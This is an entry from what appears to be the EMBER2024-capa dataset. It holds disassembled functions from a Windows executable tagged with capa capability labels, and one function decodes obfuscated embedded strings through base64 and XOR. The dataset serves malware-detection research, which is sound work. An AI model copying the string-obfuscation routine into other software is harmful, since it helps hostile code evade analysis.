joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c789
Capabilities:
Encode data using xor

Disassembly:
push 0x40
mov eax, 0x5127f9
call fcn.004b9729
mov ecx, dword [ebp + 8]
and dword [ebp - 0x40], 0
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov edi, ecx
xor eax, eax
xor edx, edx
xor ebx, ebx
and dword [ebp - 0x3c], ebx
inc edx
mov dword [ebp - 4], edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
lea edi, [ebp - 0x1c]
mov dword [ebp - 0x40], edx
stosd dword es:[edi], eax
xor ecx, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
xor eax, eax
lea edi, [ebp - 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp + 0xc]
mov byte [ebp - 4], 3
mov ecx, dword [eax - 0xc]
cmp ecx, 0x35
jl 0x40c82d
lea eax, [ecx - 0x35]
push eax
push 0x23
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp + 0xc]
call fcn.0040cc6a
mov esi, dword [eax]
push esi
mov byte [ebp - 4], 4
call fcn.0040cf6b
pop ecx
push eax
push esi
lea ecx, [ebp + 0xc]
call fcn.0040ceec
mov ecx, dword [ebp - 0x30]
mov byte [ebp - 4], 3
lea ecx, [ecx - 0x10]
call fcn.0040ce73
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffff0
push ecx
push ecx
mov esi, esp
push eax
call fcn.0040c702
add eax, 0x10
pop ecx
mov dword [esi], eax
call fcn.0040ca0b
mov edx, dword [ebp - 0x1c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x18]
mov edi, ecx
sub edi, edx
je 0x40c8ce
push dword [ebp - 0x34]
and dword [ebp - 0x28], 0
lea eax, [ecx - 4]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00408122
push dword [ebp - 0x34]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.0040899f
add esp, 0xc
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x4c]
push eax
call fcn.0040a384
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x4c]
sub eax, ecx
cmp eax, 4
jae 0x40c8a0
lea ecx, [ebp - 0x4c]
call fcn.0040ee97
xor esi, esi
jmp 0x40c8c6
movzx esi, byte [ecx + 3]
movzx eax, byte [ecx + 2]
shl esi, 8
or esi, eax
movzx eax, byte [ecx + 1]
shl esi, 8
or esi, eax
movzx eax, byte [ecx]
shl esi, 8
lea ecx, [ebp - 0x4c]
or esi, eax
call fcn.0040ee97
mov edx, dword [ebp - 0x1c]
lea eax, [esi + 4]
jmp 0x40c8d1
mov eax, dword [ebp - 0x3c]
xor esi, esi
sub edi, eax
je 0x40c900
mov al, byte [edx + esi]
xor al, byte [ebx + section..data]
mov ecx, dword [ebp - 0x38]
mov byte [ebp - 0x1d], al
lea eax, [ebp - 0x1d]
push eax
call fcn.00413df8
mov edx, dword [ebp - 0x1c]
inc ebx
xor eax, eax
cmp ebx, 0x1e
cmovge ebx, eax
inc esi
cmp esi, edi
jb 0x40c8d7
mov ecx, dword [ebp - 0x38]
lea eax, [ebp - 0x1d]
push eax
mov byte [ebp - 0x1d], 0
call fcn.00413df8
lea ecx, [ebp - 0x2c]
call fcn.0040ee97
lea ecx, [ebp - 0x1c]
call fcn.0040ee97
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.0040ce73
mov eax, dword [ebp - 0x38]
call fcn.004b96d8
ret
Function at 0x40ca0b
Capabilities:
Decode data using base64 via winapi

Disassembly:
push 0xc
mov eax, 0x512826
call fcn.004b9729
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x18], esi
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp dword [eax - 0xc], ebx
je 0x40ca86
push ebx
push ebx
lea ecx, [ebp - 0x14]
push ecx
push ebx
push 1
push dword [eax - 0xc]
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x40ca48
mov eax, dword [esi]
mov dword [esi + 4], eax
jmp 0x40ca7e
push dword [ebp - 0x14]
mov ecx, esi
call fcn.00414b4d
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
push ebx
push ebx
mov esi, dword [edi - 0xc]
push eax
push ebx
call fcn.00410335
push eax
push 1
push esi
push edi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x40ca86
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx]
mov dword [ecx + 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.0040ce73
mov eax, ebx
call fcn.004b96d8
ret

Function at 0x44026e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
jne 0x440283
xor eax, eax
jmp 0x440362
push ebx
mov ebx, dword [ebp + 8]
push edi
push 8
push ebx
call fcn.0043c620
mov edi, eax
mov dword [ebp - 0x10], edi
pop ecx
pop ecx
test edi, edi
je 0x4402ce
test byte [ebp + 0x10], 1
mov eax, dword [esi]
mov dword [edi], eax
jne 0x4402b2
xor eax, eax
inc eax
cmp dword [esi], eax
jle 0x4402b2
add eax, eax
cmp eax, dword [esi]
jl 0x4402ac
imul eax, eax, 0x18
push eax
push ebx
call fcn.0043c620
mov dword [edi + 4], eax
pop ecx
pop ecx
test eax, eax
jne 0x4402d5
push edi
push ebx
call fcn.0043c5c3
pop ecx
pop ecx
xor eax, eax
jmp 0x440360
and dword [ebp - 8], 0
cmp dword [esi], 0
mov ecx, dword [esi + 4]
mov dword [ebp + 0xc], ecx
jle 0x44035e
lea edx, [eax + 0x10]
sub eax, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov dword [ebp - 0xc], eax
push 0
push dword [ebp + 0x10]
push dword [ecx]
push ebx
call fcn.00429154
mov ecx, dword [ebp + 0xc]
mov dword [edi + ecx], eax
push dword [ecx + 4]
push ebx
call fcn.0043c80c
mov ecx, dword [ebp - 4]
mov dword [ecx - 0xc], eax
mov eax, dword [ebp + 0xc]
push dword [eax + 8]
push ebx
call fcn.0043c80c
mov edx, dword [ebp - 4]
add esp, 0x20
mov ecx, dword [ebp + 0xc]
mov dword [edx - 8], eax
mov al, byte [ecx + 0xc]
and dword [edx], 0xfffffffe
mov byte [edx - 4], al
mov eax, dword [ecx + 0x10]
xor eax, dword [edx]
and eax, 2
xor dword [edx], eax
mov eax, dword [ecx + 0x14]
add ecx, 0x18
mov dword [edx + 4], eax
add edx, 0x18
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
mov dword [ebp + 0xc], ecx
cmp eax, dword [esi]
jl 0x4402f1
mov edi, dword [ebp - 0x10]
mov eax, edi
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x45c91b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
xor edi, edi
test esi, esi
jle 0x45c947
push ebx
mov ebx, dword [ebp + 8]
movzx eax, byte [ebx]
mov ecx, edi
shl ecx, 3
movzx edx, byte [eax + 0x530538]
xor edx, ecx
xor edi, edx
inc ebx
dec esi
test esi, esi
jg 0x45c92d
pop ebx
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x4671a7
Capabilities:
Encode data using xor

Disassembly:
push 0x34
mov eax, 0x513c4c
call fcn.004b9729
mov ecx, dword [ebp + 8]
and dword [ebp - 0x40], 0
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], ecx
mov edi, ecx
xor eax, eax
xor edx, edx
xor ebx, ebx
and dword [ebp - 0x3c], ebx
inc edx
mov dword [ebp - 4], edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
lea edi, [ebp - 0x1c]
mov dword [ebp - 0x40], edx
stosd dword es:[edi], eax
xor ecx, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
xor eax, eax
lea edi, [ebp - 0x30]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp + 0xc]
mov byte [ebp - 4], 3
mov ecx, dword [eax - 0xc]
cmp ecx, 0x35
jl 0x46724b
lea eax, [ecx - 0x35]
push eax
push 0x23
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp + 0xc]
call fcn.0040cc6a
mov esi, dword [eax]
push esi
mov byte [ebp - 4], 4
call fcn.0040cf6b
pop ecx
push eax
push esi
lea ecx, [ebp + 0xc]
call fcn.0040ceec
mov ecx, dword [ebp - 0x24]
mov byte [ebp - 4], 3
lea ecx, [ecx - 0x10]
call fcn.0040ce73
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x1c]
add eax, 0xfffffff0
push ecx
push ecx
mov esi, esp
push eax
call fcn.0040c702
add eax, 0x10
pop ecx
mov dword [esi], eax
call fcn.00467df7
mov eax, dword [ebp - 0x1c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x18]
mov esi, ecx
sub esi, eax
je 0x4672b2
push dword [ebp - 0x38]
and dword [ebp - 0x2c], 0
lea eax, [ecx - 4]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00408122
push dword [ebp - 0x38]
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
call fcn.0040899f
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.0040a384
call fcn.00466fff
add esp, 0xc
add eax, 4
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x1c]
xor edi, edi
sub esi, dword [ebp - 0x3c]
je 0x4672e2
mov al, byte [eax + edi]
xor al, byte [ebx + 0x5b2000]
mov ecx, dword [ebp - 0x34]
mov byte [ebp - 0x1d], al
lea eax, [ebp - 0x1d]
push eax
call fcn.00413df8
inc ebx
xor eax, eax
cmp ebx, 0x1e
cmovge ebx, eax
mov eax, dword [ebp - 0x1c]
inc edi
cmp edi, esi
jb 0x4672b9
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 0x1d]
push eax
mov byte [ebp - 0x1d], 0
call fcn.00413df8
lea ecx, [ebp - 0x30]
call fcn.0040ee97
lea ecx, [ebp - 0x1c]
call fcn.0040ee97
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.0040ce73
mov eax, dword [ebp - 0x34]
call fcn.004b96d8
ret
Function at 0x467316
Capabilities:
Encode data using xor

Disassembly:
push 0x30
mov eax, 0x513caa
call fcn.004b9729
mov ecx, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x3c], esi
mov edi, ecx
mov dword [ebp - 0x34], esi
xor eax, eax
xor edx, edx
inc edx
mov ebx, esi
mov dword [ebp - 4], edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ecx], esi
mov dword [ecx + 4], esi
mov dword [ecx + 8], esi
xor eax, eax
mov dword [ebp - 0x3c], edx
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
xor eax, eax
lea edi, [ebp - 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], esi
mov eax, dword [ebp + 0xc]
mov byte [ebp - 4], 3
mov ecx, dword [eax - 0xc]
cmp ecx, 0x35
jl 0x4673b9
lea eax, [ecx - 0x35]
push eax
push 0x23
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp + 0xc]
call fcn.00468682
mov esi, dword [eax]
push esi
mov byte [ebp - 4], 4
call fcn.00468ac1
pop ecx
push eax
push esi
lea ecx, [ebp + 0xc]
call fcn.004689b5
mov ecx, dword [ebp - 0x20]
mov byte [ebp - 4], 3
lea ecx, [ecx - 0x10]
call fcn.0040ce73
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x1c]
push ecx
push ecx
mov ecx, esp
push eax
call fcn.00466cf4
call fcn.00467df7
mov eax, dword [ebp - 0x1c]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x18]
mov esi, ecx
sub esi, eax
je 0x467417
push dword [ebp - 0x30]
and dword [ebp - 0x28], 0
lea eax, [ecx - 4]
push ecx
push eax
lea ecx, [ebp - 0x2c]
call fcn.00408122
push dword [ebp - 0x30]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
call fcn.0040899f
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.0040a384
call fcn.00466fff
add esp, 0xc
add eax, 4
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x1c]
xor edi, edi
sub esi, dword [ebp - 0x34]
je 0x467450
movzx ecx, byte [eax + edi]
movsx ax, byte [ebx + 0x5b2000]
xor cx, ax
movzx eax, cx
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
call fcn.0046b8a2
inc ebx
xor eax, eax
cmp ebx, 0x1e
cmovge ebx, eax
mov eax, dword [ebp - 0x1c]
inc edi
cmp edi, esi
jb 0x46741e
mov ecx, dword [ebp - 0x38]
lea eax, [ebp - 0x20]
and dword [ebp - 0x20], 0
push eax
call fcn.0046b8a2
lea ecx, [ebp - 0x2c]
call fcn.0040ee97
lea ecx, [ebp - 0x1c]
call fcn.0040ee97
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
call fcn.0040ce73
mov eax, dword [ebp - 0x38]
call fcn.004b96d8
ret
Function at 0x4674b9
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x5b22e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0x104
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
mov dword [ebp - 0x418], 0x5c
push 0x2f
pop edx
test ebx, ebx
je 0x467574
push eax
push ebx
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004be310
lea ecx, [ebp - 0x20c]
add esp, 0x10
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x46750c
sub ecx, edx
sar ecx, 1
je 0x467552
movzx eax, word [ebp + ecx*2 - 0x20e]
push 0x2f
pop edx
cmp ax, dx
je 0x467535
push 0x5c
pop edx
cmp ax, dx
jne 0x467552
lea ecx, [ecx*2 - 2]
cmp ecx, 0x208
jae 0x467674
xor eax, eax
mov word [ebp + ecx - 0x20c], ax
lea eax, [ebp - 0x20c]
push eax
call fcn.0046767a
pop ecx
test al, al
jne 0x467571
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x2f
pop edx
movzx eax, word [edi]
test ax, ax
je 0x467663
mov esi, edi
mov ecx, edi
cmp ax, dx
je 0x467592
cmp ax, word [ebp - 0x418]
jne 0x467594
mov esi, ecx
add ecx, 2
movzx eax, word [ecx]
test ax, ax
jne 0x467584
cmp esi, edi
je 0x4675de
sub esi, edi
lea eax, [ebp - 0x20c]
and esi, 0xfffffffe
push esi
push edi
push eax
call fcn.004bd280
add esp, 0xc
cmp esi, 0x208
jae 0x467674
xor eax, eax
mov word [ebp + esi - 0x20c], ax
lea eax, [ebp - 0x20c]
push eax
push ebx
call fcn.004674b9
pop ecx
pop ecx
xor eax, eax
mov esi, 0x104
mov word [ebp - 0x414], ax
test ebx, ebx
je 0x467602
push esi
push ebx
lea eax, [ebp - 0x414]
push esi
push eax
call fcn.004be310
add esp, 0x10
xor eax, eax
lea ecx, [ebp - 0x414]
mov word [ebp - 0x20e], ax
lea edx, [ecx + 2]
xor ebx, ebx
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x467616
sub ecx, edx
lea eax, [ebp - 0x414]
sar ecx, 1
sub esi, ecx
push esi
push edi
lea eax, [eax + ecx*2]
push esi
push eax
call fcn.004be310
xor eax, eax
mov word [ebp - 0x20e], ax
lea eax, [ebp - 0x414]
push eax
call fcn.0046767a
add esp, 0x14
test al, al
jne 0x467663
push ebx
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004b9652
mov esp, ebp
pop ebp
ret
call fcn.004b850c
int3

Function at 0x46767a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne al
pop ebp
ret
Function at 0x467df7
Capabilities:
Decode data using base64 via winapi

Disassembly:
push 0xc
mov eax, 0x513dd7
call fcn.004b9729
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x18], esi
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp dword [eax - 0xc], ebx
je 0x467e72
push ebx
push ebx
lea ecx, [ebp - 0x14]
push ecx
push ebx
push 1
push dword [eax - 0xc]
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x467e34
mov eax, dword [esi]
mov dword [esi + 4], eax
jmp 0x467e6a
push dword [ebp - 0x14]
mov ecx, esi
call fcn.00414b4d
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
push ebx
push ebx
mov esi, dword [edi - 0xc]
push eax
push ebx
call fcn.00410335
push eax
push 1
push esi
push edi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x467e72
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx]
mov dword [ecx + 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.0040ce73
mov eax, ebx
call fcn.004b96d8
ret

Function at 0x468707
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi], ebx
jne 0x4687c2
cmp dword [edi + 4], 0xffffffff
jne 0x4687c2
push esi
lea esi, [edi + 0x244]
push esi
push 0x103
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
cmp ax, bx
jne 0x468739
sub esi, ecx
sar esi, 1
movzx eax, word [edi + esi*2 + 0x242]
cmp eax, 0x5c
je 0x46876f
push 0x2f
pop ecx
cmp ax, cx
je 0x46876f
xor eax, eax
mov word [edi + esi*2 + 0x244], cx
mov word [edi + esi*2 + 0x246], ax
cmp dword [ebp + 0x10], 1
pop esi
jne 0x46878b
push dword [ebp + 8]
call fcn.00468567
pop ecx
cmp eax, 0xffffffff
jne 0x46878b
mov eax, 0x2000000
jmp 0x4687c7
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0046b67c
add esp, 0x10
test eax, eax
jne 0x4687a9
mov eax, dword [ebp - 4]
jmp 0x4687c7
push eax
call fcn.0046bedf
pop ecx
xor ecx, ecx
mov dword [edi], eax
test eax, eax
mov edx, 0x200
cmove ecx, edx
mov eax, ecx
jmp 0x4687c7
mov eax, 0x1000000
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x468f8a
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
movsx eax, al
push esi
mov ecx, dword [edx]
mov esi, 0xff
xor eax, ecx
shr ecx, 8
and eax, esi
mov eax, dword [eax*4 + 0x536070]
xor eax, ecx
mov dword [edx], eax
movzx eax, al
add eax, dword [edx + 4]
imul ecx, eax, 0x8088405
mov eax, dword [edx + 8]
inc ecx
mov dword [edx + 4], ecx
shr ecx, 0x18
xor ecx, eax
shr eax, 8
and ecx, esi
pop esi
xor eax, dword [ecx*4 + 0x536070]
mov dword [edx + 8], eax
pop ebp
ret

Function at 0x46b76e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x5b22e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
imul esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x14]
cmp byte [edi], 0
je 0x46b7b0
push 0
lea eax, [ebp - 8]
push eax
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x46b7ab
mov byte [edi + 8], 1
mov eax, dword [ebp - 8]
jmp 0x46b7d5
mov edx, dword [edi + 0x1c]
lea eax, [edx + esi]
cmp eax, dword [edi + 0x18]
jbe 0x46b7c0
mov esi, dword [edi + 0x18]
sub esi, edx
mov ecx, dword [edi + 0x14]
push esi
add ecx, edx
push ecx
push ebx
call fcn.004bd280
add esp, 0xc
mov eax, esi
add dword [edi + 0x1c], esi
mov ecx, dword [ebp - 4]
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004b9652
mov esp, ebp
pop ebp
ret

Function at 0x46b970
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x46b97e
xor eax, eax
pop ebp
ret
mov ecx, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0x10]
not ecx
mov ebx, 0xff
cmp esi, 8
jb 0x46ba39
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x536070]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x536070]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x536070]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x536070]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x536070]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x536070]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x536070]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x536070]
dec edi
jne 0x46b99c
pop edi
test esi, esi
je 0x46ba52
movzx eax, byte [edx]
xor eax, ecx
shr ecx, 8
and eax, ebx
xor ecx, dword [eax*4 + 0x536070]
inc edx
dec esi
jne 0x46ba3d
not ecx
pop esi
mov eax, ecx
pop ebx
pop ebp
ret
Function at 0x470bb0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push 0x28
mov eax, 0x5153b7
call fcn.004b9729
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x1c], ebx
call fcn.0040cacd
push eax
lea ecx, [ebp - 0x1c]
call fcn.00466c6a
push ebx
push ecx
mov ecx, esp
mov dword [ebp - 4], ebx
push str.aL2wOSeCRC8rTT_ZypMa1PFndDq0NU9xbz5HhNlFjQfNnU5GBgcAisuZD4OInh6fD06AD8_OwAmJxs8aj9qcg4wEjwKEQU4DzIDHxQFATE6FGUEIz0aBy1sJAQCCRVmASYJGTQWNjwMFhYbAAAAUAhfYEZqUu_dQ75XbLvg
mov dword [ebp - 0x24], ebx
call fcn.00466d59
lea eax, [ebp - 0x34]
push eax
call fcn.00470f89
pop ecx
pop ecx
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.0046929c
push eax
lea ecx, [ebp - 0x24]
call fcn.00466d59
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 3
call fcn.004690f8
mov dword [ebp - 0x18], ebx
call fcn.0040cacd
push eax
lea ecx, [ebp - 0x18]
call fcn.00466c6a
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 4
push eax
push ebx
push ecx
mov ecx, esp
push str.VIJfq7epgtUwxNS6o1Z32ho2dZ9RCYWFyFQHjQ0NwIUMRc8GWIeDD05YgoxKhgHHWAGIG1gZD0DAzoAE2YFAzVnJmdpMyg1Lgw8IzsNPgYnExk1ayAoKAUzE2A_AwgCAAQxN2gtNAoJAzkRJGcGPyYhCB95DwQ2BBc3EWA6fmkdBWlOgQrNChueQArORszOSMYBSUzNC1nBS4bGiA7NAwmPX4TAh4iITAKYjE4KGY7dDQMEDglCBwZYj8pJxgbYgcXFQ0FLgUiPjxgOGIcBx4tK2ZrIQs6BzMuGgwBGxw4ARd2ITwtKjsYDWUFGxAZcTpkbxQ5Hz4SFC4lFT02KRRxJRYzNw5lOGcWDDNlIzogD29qJhsZGx86OhQVJ3wOOxgjGgRkEyoAAAEMYp2x41RmhIhg_r2agu
call fcn.00466d59
lea eax, [ebp - 0x34]
push eax
call fcn.00470f89
pop ecx
pop ecx
mov ecx, eax
mov byte [ebp - 4], 5
call fcn.0046929c
push eax
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
call fcn.004770f9
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 6
call fcn.0046f944
mov ecx, dword [ebp - 0x20]
lea ecx, [ecx - 0x10]
call fcn.0040ce73
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 4
call fcn.004690f8
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x18]
cmp dword [edi - 0xc], ebx
je 0x470d18
cmp dword [esi - 0xc], 0
lea ecx, [ebp - 0x18]
jne 0x470caa
lea eax, [ebp - 0x1c]
push eax
call fcn.0046f944
mov esi, dword [ebp - 0x18]
jmp 0x470ccf
push edi
call fcn.004705b2
mov esi, dword [ebp - 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x470cc3
test al, 0x10
jne 0x470ccf
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x470d08
mov ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x24]
lea eax, [ebp - 0x20]
push eax
call fcn.004770f9
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 7
call fcn.0046f944
mov ecx, dword [ebp - 0x20]
mov byte [ebp - 4], 4
lea ecx, [ecx - 0x10]
call fcn.0040ce73
mov edi, dword [ebp - 0x1c]
cmp dword [edi - 0xc], ebx
jne 0x470c93
jmp 0x470d18
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 0xb7
cmovne ebx, eax
lea ecx, [esi - 0x10]
call fcn.0040ce73
mov ecx, dword [ebp - 0x24]
add ecx, 0xfffffff0
call fcn.0040ce73
lea ecx, [edi - 0x10]
call fcn.0040ce73
mov eax, ebx
call fcn.004b96d8
ret